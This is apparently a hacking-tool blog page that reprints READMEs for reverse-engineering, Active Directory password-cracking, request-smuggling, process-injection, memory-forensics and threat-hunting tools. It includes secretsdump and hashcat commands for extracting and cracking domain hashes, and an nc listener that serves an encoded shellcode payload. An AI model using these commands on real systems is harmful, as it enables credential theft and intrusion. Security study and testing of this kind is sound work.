Security of Information, Threat Intelligence, Hacking, Offensive Security, Pentest, Open Source, Hackers Tools, Leaks, Pr1v8, Premium Courses Free, etc

  • Penetration Testing Distribution - BackBox

    BackBox is a penetration test and security assessment oriented Ubuntu-based Linux distribution providing a network and informatic systems analysis toolkit. It includes a complete set of tools required for ethical hacking and security testing...
  • Pentest Distro Linux - Weakerth4n

    Weakerth4n is a penetration testing distribution which is built from Debian Squeeze.For the desktop environment it uses Fluxbox...
  • The Amnesic Incognito Live System - Tails

    Tails is a live system that aims to preserve your privacy and anonymity. It helps you to use the Internet anonymously and circumvent censorship...
  • Penetration Testing Distribution - BlackArch

    BlackArch is a penetration testing distribution based on Arch Linux that provides a large amount of cyber security tools. It is an open-source distro created specially for penetration testers and security researchers...
  • The Best Penetration Testing Distribution - Kali Linux

    Kali Linux is a Debian-based distribution for digital forensics and penetration testing, developed and maintained by Offensive Security. Mati Aharoni and Devon Kearns rewrote BackTrack...
  • Friendly OS designed for Pentesting - ParrotOS

    Parrot Security OS is a cloud friendly operating system designed for Pentesting, Computer Forensic, Reverse engineering, Hacking, Cloud pentesting...

Sunday, February 18, 2024

Blutter - Flutter Mobile Application Reverse Engineering Tool


Flutter Mobile Application Reverse Engineering Tool by Compiling Dart AOT Runtime

Currently the application supports only Android libapp.so (arm64 only). Also the application is currently work only against recent Dart versions.

For high priority missing features, see TODO


Environment Setup

This application uses C++20 Formatting library. It requires very recent C++ compiler such as g++>=13, Clang>=15.

I recommend using Linux OS (only tested on Deiban sid/trixie) because it is easy to setup.

Debian Unstable (gcc 13)

  • Install build tools and depenencies
apt install python3-pyelftools python3-requests git cmake ninja-build \
build-essential pkg-config libicu-dev libcapstone-dev

Windows

  • Install git and python 3
  • Install latest Visual Studio with "Desktop development with C++" and "C++ CMake tools"
  • Install required libraries (libcapstone and libicu4c)
python scripts\init_env_win.py
  • Start "x64 Native Tools Command Prompt"

macOS Ventura (clang 15)

  • Install XCode
  • Install clang 15 and required tools
brew install llvm@15 cmake ninja pkg-config icu4c capstone
pip3 install pyelftools requests

Usage

Extract "lib" directory from apk file

python3 blutter.py path/to/app/lib/arm64-v8a out_dir

The blutter.py will automatically detect the Dart version from the flutter engine and call executable of blutter to get the information from libapp.so.

If the blutter executable for required Dart version does not exists, the script will automatically checkout Dart source code and compiling it.

Update

You can use git pull to update and run blutter.py with --rebuild option to force rebuild the executable

python3 blutter.py path/to/app/lib/arm64-v8a out_dir --rebuild

Output files

  • asm/* libapp assemblies with symbols
  • blutter_frida.js the frida script template for the target application
  • objs.txt complete (nested) dump of Object from Object Pool
  • pp.txt all Dart objects in Object Pool

Directories

  • bin contains blutter executables for each Dart version in "blutter_dartvm<ver>_<os>_<arch>" format
  • blutter contains source code. need building against Dart VM library
  • build contains building projects which can be deleted after finishing the build process
  • dartsdk contains checkout of Dart Runtime which can be deleted after finishing the build process
  • external contains 3rd party libraries for Windows only
  • packages contains the static libraries of Dart Runtime
  • scripts contains python scripts for getting/building Dart

Generating Visual Studio Solution for Development

I use Visual Studio to delevlop Blutter on Windows. --vs-sln options can be used to generate a Visual Studio solution.

python blutter.py path\to\lib\arm64-v8a build\vs --vs-sln

TODO

  • More code analysis
    • Function arguments and return type
    • Some psuedo code for code pattern
  • Generate better Frida script
    • More internal classes
    • Object modification
  • Obfuscated app (still missing many functions)
  • Reading iOS binary
  • Input as apk or ipa


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KnowsMore - A Swiss Army Knife Tool For Pentesting Microsoft Active Directory (NTLM Hashes, BloodHound, NTDS And DCSync)


KnowsMore officially supports Python 3.8+.

Main features

  • Import NTLM Hashes from .ntds output txt file (generated by CrackMapExec or secretsdump.py)
  • Import NTLM Hashes from NTDS.dit and SYSTEM
  • Import Cracked NTLM hashes from hashcat output file
  • Import BloodHound ZIP or JSON file
  • BloodHound importer (import JSON to Neo4J without BloodHound UI)
  • Analyse the quality of password (length , lower case, upper case, digit, special and latin)
  • Analyse similarity of password with company and user name
  • Search for users, passwords and hashes
  • Export all cracked credentials direct to BloodHound Neo4j Database as 'owned object'
  • Other amazing features...

Getting stats

knowsmore --stats

This command will produce several statistics about the passwords like the output bellow

weak passwords by company name similarity +-------+--------------+---------+----------------------+-------+ | top | password | score | company_similarity | qty | |-------+--------------+---------+----------------------+-------| | 1 | company123 | 7024 | 80 | 1111 | | 2 | Company123 | 5209 | 80 | 824 | | 3 | company | 3674 | 100 | 553 | | 4 | Company@10 | 2080 | 80 | 329 | | 5 | company10 | 1722 | 86 | 268 | | 6 | Company@2022 | 1242 | 71 | 202 | | 7 | Company@2024 | 1015 | 71 | 165 | | 8 | Company2022 | 978 | 75 | 157 | | 9 | Company10 | 745 | 86 | 116 | | 10 | Company21 | 707 | 86 | 110 | +-------+--------------+---------+----------------------+-------+ " dir="auto">
KnowsMore v0.1.4 by Helvio Junior
Active Directory, BloodHound, NTDS hashes and Password Cracks correlation tool
https://github.com/helviojunior/knowsmore

[+] Startup parameters
command line: knowsmore --stats
module: stats
database file: knowsmore.db

[+] start time 2023-01-11 03:59:20
[?] General Statistics
+-------+----------------+-------+
| top | description | qty |
|-------+----------------+-------|
| 1 | Total Users | 95369 |
| 2 | Unique Hashes | 74299 |
| 3 | Cracked Hashes | 23177 |
| 4 | Cracked Users | 35078 |
+-------+----------------+-------+

[?] General Top 10 passwords
+-------+-------------+-------+
| top | password | qty |
|-------+-------------+-------|
| 1 | password | 1111 |
| 2 | 123456 | 824 |
| 3 | 123456789 | 815 |
| 4 | guest | 553 |
| 5 | qwerty | 329 |
| 6 | 12345678 | 277 |
| 7 | 111111 | 268 |
| 8 | 12345 | 202 |
| 9 | secret | 170 |
| 10 | sec4us | 165 |
+-------+-------------+-------+

[?] Top 10 weak passwords by company name similarity
+-------+--------------+---------+----------------------+-------+
| top | password | score | company_similarity | qty |
|-------+--------------+---------+----------------------+-------|
| 1 | company123 | 7024 | 80 | 1111 |
| 2 | Company123 | 5209 | 80 | 824 |
| 3 | company | 3674 | 100 | 553 |
| 4 | Company@10 | 2080 | 80 | 329 |
| 5 | company10 | 1722 | 86 | 268 |
| 6 | Company@2022 | 1242 | 71 | 202 |
| 7 | Company@2024 | 1015 | 71 | 165 |
| 8 | Company2022 | 978 | 75 | 157 |
| 9 | Company10 | 745 | 86 | 116 |
| 10 | Company21 | 707 | 86 | 110 |
+-------+--------------+---------+----------------------+-------+

Installation

Simple

pip3 install --upgrade knowsmore

Note: If you face problem with dependency version Check the Virtual ENV file

Execution Flow

There is no an obligation order to import data, but to get better correlation data we suggest the following execution flow:

  1. Create database file
  2. Import BloodHound files
    1. Domains
    2. GPOs
    3. OUs
    4. Groups
    5. Computers
    6. Users
  3. Import NTDS file
  4. Import cracked hashes

Create database file

All data are stored in a SQLite Database

knowsmore --create-db

Importing BloodHound files

We can import all full BloodHound files into KnowsMore, correlate data, and sync it to Neo4J BloodHound Database. So you can use only KnowsMore to import JSON files directly into Neo4j database instead of use extremely slow BloodHound User Interface

# Bloodhound ZIP File
knowsmore --bloodhound --import-data ~/Desktop/client.zip

# Bloodhound JSON File
knowsmore --bloodhound --import-data ~/Desktop/20220912105336_users.json

Note: The KnowsMore is capable to import BloodHound ZIP File and JSON files, but we recommend to use ZIP file, because the KnowsMore will automatically order the files to better data correlation.

Sync data to Neo4j BloodHound database

# Bloodhound ZIP File
knowsmore --bloodhound --sync 10.10.10.10:7687 -d neo4j -u neo4j -p 12345678

Note: The KnowsMore implementation of bloodhount-importer was inpired from Fox-It BloodHound Import implementation. We implemented several changes to save all data in KnowsMore SQLite database and after that do an incremental sync to Neo4J database. With this strategy we have several benefits such as at least 10x faster them original BloodHound User interface.

Importing NTDS file

Option 1

Note: Import hashes and clear-text passwords directly from NTDS.dit and SYSTEM registry

knowsmore --secrets-dump -target LOCAL -ntds ~/Desktop/ntds.dit -system ~/Desktop/SYSTEM

Option 2

Note: First use the secretsdump to extract ntds hashes with the command bellow

secretsdump.py -ntds ntds.dit -system system.reg -hashes lmhash:ntlmhash LOCAL -outputfile ~/Desktop/client_name

After that import

knowsmore --ntlm-hash --import-ntds ~/Desktop/client_name.ntds

Generating a custom wordlist

knowsmore --word-list -o "~/Desktop/Wordlist/my_custom_wordlist.txt" --batch --name company_name

Importing cracked hashes

Cracking hashes

First extract all hashes to a txt file

# Extract NTLM hashes to file
nowsmore --ntlm-hash --export-hashes "~/Desktop/ntlm_hash.txt"

# Or, extract NTLM hashes from NTDS file
cat ~/Desktop/client_name.ntds | cut -d ':' -f4 > ntlm_hashes.txt

In order to crack the hashes, I usually use hashcat with the command bellow

# Wordlist attack
hashcat -m 1000 -a 0 -O -o "~/Desktop/cracked.txt" --remove "~/Desktop/ntlm_hash.txt" "~/Desktop/Wordlist/*"

# Mask attack
hashcat -m 1000 -a 3 -O --increment --increment-min 4 -o "~/Desktop/cracked.txt" --remove "~/Desktop/ntlm_hash.txt" ?a?a?a?a?a?a?a?a

importing hashcat output file

knowsmore --ntlm-hash --company clientCompanyName --import-cracked ~/Desktop/cracked.txt

Note: Change clientCompanyName to name of your company

Wipe sensitive data

As the passwords and his hashes are extremely sensitive data, there is a module to replace the clear text passwords and respective hashes.

Note: This command will keep all generated statistics and imported user data.

knowsmore --wipe

BloodHound Mark as owned

One User

During the assessment you can find (in a several ways) users password, so you can add this to the Knowsmore database

knowsmore --user-pass --username administrator --password Sec4US@2023

# or adding the company name

knowsmore --user-pass --username administrator --password Sec4US@2023 --company sec4us

Integrate all credentials cracked to Neo4j Bloodhound database

knowsmore --bloodhound --mark-owned 10.10.10.10 -d neo4j -u neo4j -p 123456

To remote connection make sure that Neo4j database server is accepting remote connection. Change the line bellow at the config file /etc/neo4j/neo4j.conf and restart the service.

server.bolt.listen_address=0.0.0.0:7687


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CLZero - A Project For Fuzzing HTTP/1.1 CL.0 Request Smuggling Attack Vectors


A project for fuzzing HTTP/1.1 CL.0 Request Smuggling Attack Vectors.

About

Thank you to @albinowax, @defparam and @d3d else this tool would not exist. Inspired by the tool Smuggler all attack gadgets adapted from Smuggler and https://portswigger.net/research/how-to-turn-security-research-into-profit

For more info see: https://moopinger.github.io/blog/fuzzing/clzero/tools/request/smuggling/2023/11/15/Fuzzing-With-CLZero.html


Usage

usage: clzero.py [-h] [-url URL] [-file FILE] [-index INDEX] [-verbose] [-no-color] [-resume] [-skipread] [-quiet] [-lb] [-config CONFIG] [-method METHOD]

CLZero by Moopinger

optional arguments:
-h, --help show this help message and exit
-url URL (-u), Single target URL.
-file FILE (-f), Files containing multiple targets.
-index INDEX (-i), Index start point when using a file list. Default is first line.
-verbose (-v), Enable verbose output.
-no-color Disable colors in HTTP Status
-resume Resume scan from last index place.
-skipread Skip the read response on smuggle requests, recommended. This will save a lot of time between requests. Ideal for targets with standard HTTP traffic.
-quiet (-q), Disable output. Only successful payloads will be written to ./payloads/
-lb Last byte sync method for least request latency. Due to th e nature of the request, it cannot guarantee that the smuggle request will be processed first. Ideal for targets with a high
amount of traffic, and you do not mind sending multiple requests.
-config CONFIG (-c) Config file to load, see ./configs/ to create custom payloads
-method METHOD (-m) Method to use when sending the smuggle request. Default: POST

single target attack:

  • python3 clzero.py -u https://www.target.com/ -c configs/default.py -skipread

  • python3 clzero.py -u https://www.target.com/ -c configs/default.py -lb

Multi target attack:

  • python3 clzero.py -l urls.txt -c configs/default.py -skipread

  • python3 clzero.py -l urls.txt -c configs/default.py -lb

Install

git clone https://github.com/Moopinger/CLZero.git
cd CLZero
pip3 install -r requirements.txt


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ProcessStomping - A Variation Of ProcessOverwriting To Execute Shellcode On An Executable'S Section


A variation of ProcessOverwriting to execute shellcode on an executable's section

What is it

For a more detailed explanation you can read my blog post

Process Stomping, is a variation of hasherezade’s Process Overwriting and it has the advantage of writing a shellcode payload on a targeted section instead of writing a whole PE payload over the hosting process address space.

These are the main steps of the ProcessStomping technique:

  1. CreateProcess - setting the Process Creation Flag to CREATE_SUSPENDED (0x00000004) in order to suspend the processes primary thread.
  2. WriteProcessMemory - used to write each malicious shellcode to the target process section.
  3. SetThreadContext - used to point the entrypoint to a new code section that it has written.
  4. ResumeThread - self-explanatory.

As an example application of the technique, the PoC can be used with sRDI to load a beacon dll over an executable RWX section. The following picture describes the steps involved.


Disclaimer

All information and content is provided for educational purposes only. Follow instructions at your own risk. Neither the author nor his employer are responsible for any direct or consequential damage or loss arising from any person or organization.

Credits

This work has been made possible because of the knowledge and tools shared by Aleksandra Doniec @hasherezade and Nick Landers.

Usage

Select your target process and modify global variables accordingly in ProcessStomping.cpp.

Compile the sRDI project making sure that the offset is enough to jump over your generated sRDI shellcode blob and then update the sRDI tools:

cd \sRDI-master

python .\lib\Python\EncodeBlobs.py .\

Generate a Reflective-Loaderless dll payload of your choice and then generate sRDI shellcode blob:

python .\lib\Python\ConvertToShellcode.py -b -f "changethedefault" .\noRLx86.dll

The shellcode blob can then be xored with a key-word and downloaded using a simple socket

python xor.py noRLx86.bin noRLx86_enc.bin Bangarang

Deliver the xored blob upon connection

nc -vv -l -k -p 8000 -w 30 < noRLx86_enc.bin

The sRDI blob will get erased after execution to remove unneeded artifacts.

Caveats

To successfully execute this technique you should select the right target process and use a dll payload that doesn't come with a User Defined Reflective loader.

Detection opportunities

Process Stomping technique requires starting the target process in a suspended state, changing the thread's entry point, and then resuming the thread to execute the injected shellcode. These are operations that might be considered suspicious if performed in quick succession and could lead to increased scrutiny by some security solutions.



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Linpmem - A Physical Memory Acquisition Tool For Linux


Like its Windows counterpart, Winpmem, this is not a traditional memory dumper. Linpmem offers an API for reading from any physical address, including reserved memory and memory holes, but it can also be used for normal memory dumping. Furthermore, the driver offers a variety of access modes to read physical memory, such as byte, word, dword, qword, and buffer access mode, where buffer access mode is appropriate in most standard cases. If reading requires an aligned byte/word/dword/qword read, Linpmem will do precisely that.

Currently, the Linpmem features:

  1. Read from physical address (access mode byte, word, dword, qword, or buffer)
  2. CR3 info service (specify target process by pid)
  3. Virtual to physical address translation service

Cache Control is to be added in future for support of the specialized read access modes.

Building the kernel driver

At least for now, you must compile the Linpmem driver yourself. A method to load a precompiled Linpmem driver on other Linux systems is currently under work, but not finished yet. That said, compiling the Linpmem driver is not difficult, basically it's executing 'make'.

Step 1 - getting the right headers

You need make and a C compiler. (We recommend gcc, but clang should work as well).

Make sure that you have the linux-headers installed (using whatever package manager your target linux distro has). The exact package name may vary on your distribution. A quick (distro-independent) way to check if you have the package installed:

ls -l /usr/lib/modules/`uname -r`/

That's it, you can proceed to step 2.

Foreign system: Currently, if you want to compile the driver for another system, e.g., because you want to create a memory dump but can't compile on the target, you have to download the header package directly from the package repositories of that system's Linux distribution. Double-check that the package version exactly matches the release and kernel version running on the foreign system. In case the other system is using a self-compiled kernel you have to obtain a copy of that kernel's build directory. Then, place the location of either directory in the KDIR environment variable.

export KDIR=path/to/extracted/header/package/or/kernel/root

Step 2 - make

Compiling the driver is simple, just type:

make

This should produce linpmem.ko in the current working directory.

You might want to check precompiler.h before and chose whether to compile for release or debug (e.g., with debug printing). There aren't much other precompiler settings right now.

Loading The Driver

The linpmem.ko module can be loaded by using insmod path-to-linpmem.ko, and unloaded with rmmod path-to-linpmem.ko. (This will load the driver only for this uptime.) If you compiled for debug, also take a look at dmesg.

After loading, for talking to the driver, you need to create the device:

mknod /dev/linpmem c 42 0

If you can't talk to the driver, potentially check in dmesg log to verify that '42' was indeed the registered major:

[12827.900168] linpmem: registered chrdev with major 42

Though usually the kernel would try to really assign this number.

You can use chown on the device to give it to your user, if you do not want to have a root console open all the time. (Or just keep using it in a root console.)

  • Watch dmesg output. Please report errors if you see any!
  • Warning: if there is a dmesg error print from Linpmem telling to reboot, better do it immediately.
  • Warning: this is an early version.

Usage

Demo Code

There is an example code demonstrating and explaining (in detail) how to interact with the driver. The user-space API reference can furthermore be found in ./userspace_interface/linpmem_shared.h.

  1. cd demo
  2. gcc -o test test.c
  3. (sudo) ./test // <= you need sudo if you did not use chown on the device.

This code is important, if you want to understand how to directly interact with the driver instead of using a library. It can also be used as a short function test.

Command Line Interface Tool

There is an (optional) basic command line interface tool to Linpmem, the pmem CLI tool. It can be found here: https://github.com/vobst/linpmem-cli. Aside from the source code, there is also a precompiled CLI tool as well as the precompiled static library and headers that can be found here (signed). Note: this is a preliminary version, be sure to check for updates, as many additions and enhancements will follow soon.

The pmem CLI tool can be used for testing the various functions of Linpmem in a (relatively) safe and convenient manner. Linpmem can also be loaded by this tool instead of using insmod/rmmod, with some extra options in future. This also has the advantage that pmem auto-creates the right device for you for immediate use. It is extremely portable and runs on any Linux system (and, in fact, has been tested even on a Linux 2.6).

$ ./pmem -h
Command-line client for the linpmem driver

Usage: pmem [OPTIONS] [COMMAND]

Commands:
insmod Load the linpmem driver
help Print this message or the help of the given subcommand(s)

Options:
-a, --address <ADDRESS> Address for physical read operations
-v, --virt-address <VIRT_ADDRESS> Translate address in target process' address space (default: current process)
-s, --size <SIZE> Size of buffer read operations
-m, --mode <MODE> Access mode for read operations [possible values: byte, word, dword, qword, buffer]
-p, --pid <PID> Target process for cr3 info and virtual-to-physical translations
--cr3 Query cr3 value of target process (default: current process)
--verbose Display debug output
-h, --help Print help (see more with '--help')
-V, --version Print version

If you want to compile the cli tool yourself, change to its directory and follow the instructions in the (cli) Readme to build it. Otherwise, just download the prebuilt program, it should work on any Linux. To load the kernel driver with the cli tool:

# pmem insmod path/to/linpmem.ko

The advantage of using the pmem tool to load the driver is that you do not have to create the device file yourself, and it will offer (on next releases) to choose who owns the linpmem device.

Libraries

The pmem command line interface is only a thin wrapper around a small Rust library that exposes an API for interfacing with the driver. More advanced users can also use this library. The library is automatically compiled (as static portable library) along with the pmem cli tool when compiling from https://github.com/vobst/linpmem-cli, but also included (precompiled) here (signed). Note: this is a preliminary version, more to follow soon.

If you do not want to use the usermode library and prefer to interface with the driver directly on your own, you can find its user-space API/interface and documentation in ./userspace_interface/linpmem_shared.h. We also provide example code in demo/test.c that explains how to use the driver directly.

Memdumping tool

Not implemented yet.

Tested Linux Distributions

  • Debian, self-compiled 6.4.X, Qemu/KVM, not paravirtualized.
    • PTI: off/on
  • Debian 12, Qemu/KVM, fully paravirtualized.
    • PTI: on
  • Ubuntu server, Qemu/KVM, not paravirtualized.
    • PTI: on
  • Fedora 38, Qemu/KVM, fully paravirtualized.
    • PTI: on
  • Baremetal Linux test, AMI BIOS: Linux 6.4.4
    • PTI: on
  • Baremetal Linux test, HP: Linux 6.4.4
    • PTI: on
  • Baremetal, Arch[-hardened], Dell BIOS, Linux 6.4.X
  • Baremetal, Debian, 6.1.X
  • Baremetal, Ubuntu 20.04 with Secure Boot on. Works, but sign driver first.
  • Baremetal, Ubuntu 22.04, Linux 6.2.X

Handling Secure Boot

If the system reports the following error message when loading the module, it might be because of secure boot:

$ sudo insmod linpmem.ko
insmod: ERROR: could not insert module linpmem.ko: Operation not permitted

There are different ways to still load the module. The obvious one is to disable secure boot in your UEFI settings.

If your distribution supports it, a more elegant solution would be to sign the module before using it. This can be done using the following steps (tested on Ubuntu 20.04).

  1. Install mokutil:
    $ sudo apt install mokutil
  2. Create the singing key material:
    $ openssl req -new -newkey rsa:4096 -keyout mok-signing.key -out mok-signing.crt -outform DER -days 365 -nodes -subj "/CN=Some descriptive name/"
    Make sure to adjust the options to your needs. Especially, consider the key length (-newkey), the validity (-days), the option to set a key pass phrase (-nodes; leave it out, if you want to set a pass phrase), and the common name to include into the certificate (-subj).
  3. Register the new MOK:
    $ sudo mokutil --import mok-signing.crt
    You will be asked for a password, which is required in the following step. Consider using a password, which you can type on a US keyboard layout.
  4. Reboot the system. It will enter a MOK enrollment menu. Follow the instructions to enroll your new key.
  5. Sign the module Once the MOK is enrolled, you can sign your module.
    $ /usr/src/linux-headers-$(uname -r)/scripts/sign-file sha256 path/to/mok-singing/MOK.key path/to//MOK.cert path/to/linpmem.ko

After that, you should be able to load the module.

Note that from a forensic-readiness perspective, you should prepare a signed module before you need it, as the system will reboot twice during the process described above, destroying most of your volatile data in memory.

Known Issues

  • Huge page read is not implemented. Linpmem recognizes a huge page and rejects the read, for now.
  • Reading from mapped io and DMA space will be done with CPU caching enabled.
  • No locks are taken during the page table walk. This might lead to funny results when concurrent modifications are going on. This is a general and (mostly unsolvable) problem of live RAM reading, without halting the entire OS to full stop.
  • Secure Boot (Ubuntu): please sign your driver prior to using.
  • Any CPU-powered memory encryption, e.g., AMD SME, Intel SGX/TDX, ...
  • Pluton chips?

(Please report potential issues if you encounter anything.)

Under work

  • Loading precompiled driver on any Linux.
  • Processor cache control. Example: for uncached reading of mapped I/O and DMA space.

Future work

  • Arm/Mips support. (far future work)
  • Legacy kernels (such as 2.6), unix-based kernels

Acknowledgements

Linpmem, as well as Winpmem, would not exist without the work of our predecessors of the (now retired) REKALL project: https://github.com/google/rekall.

  • We would like to thank Mike Cohen and Johannes Stüttgen for their pioneer work and open source contribution on PTE remapping, a technique which is still in use 10 years later.

Our open source contributors:

  • Viviane Zwanger
  • Valentin Obst


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Wednesday, February 9, 2022

ECDX - Exploit Development Student


ECDX - Exploit Development Student from the popular eLearnSecurity Institute and INE is an Exploit Development training at the beginner level. Prerequisites for this course Completion of the eJPT courseIs. The eCXD course is a hands-on course with many examples of exploit development for both Windows and Windows operating systems. In this course, you will not only learn the basics but also the important Windows and Linux exploration techniques. You will also learn how to bypass anti-exploitation technologies such as antivirus. In this course you will gain an in-depth understanding of topics such as Software Debugging, Shellcoding, Windows and Linux exploration, how to search for Zero Day vulnerabilities, bypassing modern anti-exploitation technologies, and work. With Immunity Debugger, x32dbg, Mona, Pwntools, GDB, Ropper software. 

  • Course prerequisites
  • Completion of the eJPT course
  • Course specifications
  • Course level: Beginner
  • Time: 18 hours and 48 minutes
  • Includes: ‌ 6 videos | 19 laboratories | ‌ 31 slides
  • Professor: Lukasz Mikula
  • ECXD Course Content - Exploit Development Student
  •  Linux Exploit Development
  • Linux Stack Smashing
  • Linux Exploit Countermeasures & Bypasses
  • Linux Return Oriented Programming
  • Linux Shellcoding
  • Linux Advanced Exploitation
  • Windows Exploit Development
  • Windows Stack Smashing
  • Windows SEH-based Overflows
  • Windows Egghunting
  • Unicode Buffer Overflows
  • Windows Shellcoding
  • Windows Return Oriented Programming


Link OFF Return Coming SOON

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Msticpy - Microsoft Threat Intelligence Security Tools

Microsoft Threat Intelligence Python Security Tools.

msticpy is a library for InfoSec investigation and hunting in Jupyter Notebooks. It includes functionality to:

  • query log data from multiple sources
  • enrich the data with Threat Intelligence, geolocations and Azure resource data
  • extract Indicators of Activity (IoA) from logs and unpack encoded data
  • perform sophisticated analysis such as anomalous session detection and time series decomposition
  • visualize data using interactive timelines, process trees and multi-dimensional Morph Charts

It also includes some time-saving notebook tools such as widgets to set query time boundaries, select and display items from lists, and configure the notebook environment.



The msticpy package was initially developed to support Jupyter Notebooks authoring for Azure Sentinel. While Azure Sentinel is still a big focus of our work, we are extending the data query/acquisition components to pull log data from other sources (currently Splunk, Microsoft Defender for Endpoint and Microsoft Graph are supported but we are actively working on support for data from other SIEM platforms). Most of the components can also be used with data from any source. Pandas DataFrames are used as the ubiquitous input and output format of almost all components. There is also a data provider to make it easy to and process data from local CSV files and pickled DataFrames.

The package addresses three central needs for security investigators and hunters:

  • Acquiring and enriching data
  • Analyzing data
  • Visualizing data

We welcome feedback, bug reports, suggestions for new features and contributions.


Installing

For core install:

pip install msticpy

If you are using MSTICPy with Azure Sentinel you should install with the "azsentinel" extra package:

pip install msticpy[azsentinel]

or for the latest dev build

pip install git+https://github.com/microsoft/msticpy


Documentation

Full documentation is at ReadTheDocs

Sample notebooks for many of the modules are in the docs/notebooks folder and accompanying notebooks.

You can also browse through the sample notebooks referenced at the end of this document to see some of the functionality used in context. You can play with some of the package functions in this interactive demo on mybinder.org.


Log Data Acquisition

QueryProvider is an extensible query library targeting Azure Sentinel/Log Analytics, Splunk, OData and other log data sources. It also has special support for Mordor data sets and using local data.

Built-in parameterized queries allow complex queries to be run from a single function call. Add your own queries using a simple YAML schema.

Data Queries Notebook


Data Enrichment

Threat Intelligence providers

The TILookup class can lookup IoCs across multiple TI providers. built-in providers include AlienVault OTX, IBM XForce, VirusTotal and Azure Sentinel.

The input can be a single IoC observable or a pandas DataFrame containing multiple observables. Depending on the provider, you may require an account and an API key. Some providers also enforce throttling (especially for free tiers), which might affect performing bulk lookups.

TIProviders and TILookup Usage Notebook


GeoLocation Data

The GeoIP lookup classes allow you to match the geo-locations of IP addresses using either:

GeoIP Lookup and GeoIP Notebook


Azure Resource Data, Storage and Azure Sentinel API

The AzureData module contains functionality for enriching data regarding Azure host details with additional host details exposed via the Azure API. The AzureSentinel module allows you to query incidents, retrieve detector and hunting queries. AzureBlogStorage lets you read and write data from blob storage.

Azure Resource APIs, Azure Sentinel APIs, Azure Storage


Security Analysis

This subpackage contains several modules helpful for working on security investigations and hunting:


Anomalous Sequence Detection

Detect unusual sequences of events in your Office, Active Directory or other log data. You can extract sessions (e.g. activity initiated by the same account) and identify and visualize unusual sequences of activity. For example, detecting an attacker setting a mail forwarding rule on someone's mailbox.

Anomalous Sessions and Anomalous Sequence Notebook


Time Series Analysis

Time series analysis allows you to identify unusual patterns in your log data taking into account normal seasonal variations (e.g. the regular ebb and flow of events over hours of the day, days of the week, etc.). Using both analysis and visualization highlights unusual traffic flows or event activity for any data set.


Time Series


Visualization

Event Timelines

Display any log events on an interactive timeline. Using the Bokeh Visualization Library the timeline control enables you to visualize one or more event streams, interactively zoom into specific time slots and view event details for plotted events.


Timeline and Timeline Notebook


Process Trees

The process tree functionality has two main components:

  • Process Tree creation - taking a process creation log from a host and building the parent-child relationships between processes in the data set.
  • Process Tree visualization - this takes the processed output displays an interactive process tree using Bokeh plots.

There are a set of utility functions to extract individual and partial trees from the processed data set.


Process Tree and Process Tree Notebook


Data Manipulation and Utility functions

Pivot Functions

Lets you use MSTICPy functionality in an "entity-centric" way. All functions, queries and lookups that relate to a particular entity type (e.g. Host, IpAddress, Url) are collected together as methods of that entity class. So, if you want to do things with an IP address, just load the IpAddress entity and browse its methods.

Pivot Functions and Pivot Functions Notebook


base64unpack

Base64 and archive (gz, zip, tar) extractor. It will try to identify any base64 encoded strings and try decode them. If the result looks like one of the supported archive types it will unpack the contents. The results of each decode/unpack are rechecked for further base64 content and up to a specified depth.

Base64 Decoding and Base64Unpack Notebook


iocextract

Uses regular expressions to look for Indicator of Compromise (IoC) patterns - IP Addresses, URLs, DNS domains, Hashes, file paths. Input can be a single string or a pandas dataframe.

IoC Extraction and IoCExtract Notebook


eventcluster (experimental)

This module is intended to be used to summarize large numbers of events into clusters of different patterns. High volume repeating events can often make it difficult to see unique and interesting items.



This is an unsupervised learning module implemented using SciKit Learn DBScan.

Event Clustering and Event Clustering Notebook


auditdextract

Module to load and decode Linux audit logs. It collapses messages sharing the same message ID into single events, decodes hex-encoded data fields and performs some event-specific formatting and normalization (e.g. for process start events it will re-assemble the process command line arguments into a single string).


syslog_utils

Module to support an investigation of a Linux host with only syslog logging enabled. This includes functions for collating host data, clustering logon events and detecting user sessions containing suspicious activity.


cmd_line

A module to support he detection of known malicious command line activity or suspicious patterns of command line activity.


domain_utils

A module to support investigation of domain names and URLs with functions to validate a domain name and screenshot a URL.


Notebook widgets

These are built from the Jupyter ipywidgets collection and group common functionality useful in InfoSec tasks such as list pickers, query time boundary settings and event display into an easy-to-use format.


 



More Notebooks on Azure Sentinel Notebooks GitHub

Azure Sentinel Notebooks

Example notebooks:

View directly on GitHub or copy and paste the link into nbviewer.org


Notebook examples with saved data

See the following notebooks for more examples of the use of this package in practice:


Supported Platforms and Packages

Contributing

For (brief) developer guidelines, see this wiki article Contributor Guidelines

This project welcomes contributions and suggestions. Most contributions require you to agree to a Contributor License Agreement (CLA) declaring that you have the right to, and actually do, grant us the rights to use your contribution. For details, visit https://cla.microsoft.com.

When you submit a pull request, a CLA-bot will automatically determine whether you need to provide a CLA and decorate the PR appropriately (e.g., label, comment). Simply follow the instructions provided by the bot. You will only need to do this once across all repos using our CLA.



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Gotanda - Browser Web Extension For OSINT


Gotanda is OSINT(Open Source Intelligence) Web Extension for Firefox/Chrome.

This Web Extension could search OSINT information from some IOC in web page.(IP,Domain,URL,SNS...etc)

This Repository partly the studying and JavaScript practice.

Download link below.


Usage

Right click highlighted IOC strings, It will show contextmenus.(Or right clicking any link. )

When You want to search using some engine, You choose one of list.


Search Engine List
Name URL Category
Domain Tools https://whois.domaintools.com/ whois Lookup
Security Trails https://securitytrails.com/ whois lookup
whoisds https://whoisds.com/ whois lookup
ThreatCrowd https://www.threatcrowd.org/ Domain, IPv4
AbuseIPDB https://www.abuseipdb.com/ IPv4
HackerTarget https://hackertarget.com/ IPv4
Censys https://censys.io/ IP, Domain
Shodan https://shodan.io/ IP, Domain
FOFA https://fofa.so/ IP, Domain
VirusTotal https://virustotal.com/ IP, Domain, URL,Hash
GreyNoise https://viz.greynoise.io/ IPv4
IPAlyzer https://ipalyzer.com/ IPv4
Tor Relay Search https://metrics.torproject.org/ IP,Domain
Domain Watch https://domainwat.ch/ Domain, Email,whois lookup
crt.sh https://crt.sh/ SSL-certificate
SecurityHeaders https://securityheaders.com/ URL, Domain
DNSlytics https://dnslytics.com/ IPv4,IPv6,ASN
URLscan https://urlscan.io/ URL
Ultratools https://www.ultratools.com/ IPv6
Wayback Machine https://web.archive.org URL
aguse https://www.aguse.jp/ URL
check-host https://check-host.net/ URL
CIRCL https://cve.circl.lu/ CVE
FortiGuard https://fortiguard.com/ CVE
Sploitus https://sploitus.com/ CVE
Vulmon https://vulmon.com/ CVE
CXSecurity https://cxsecurity.com/ CVE
Vulncode-DB https://www.vulncode-db.com/ CVE
Malshare https://malshare.com/ MD5 Hash
ThreatCrowd https://www.threatcrowd.org/ IP,Domain
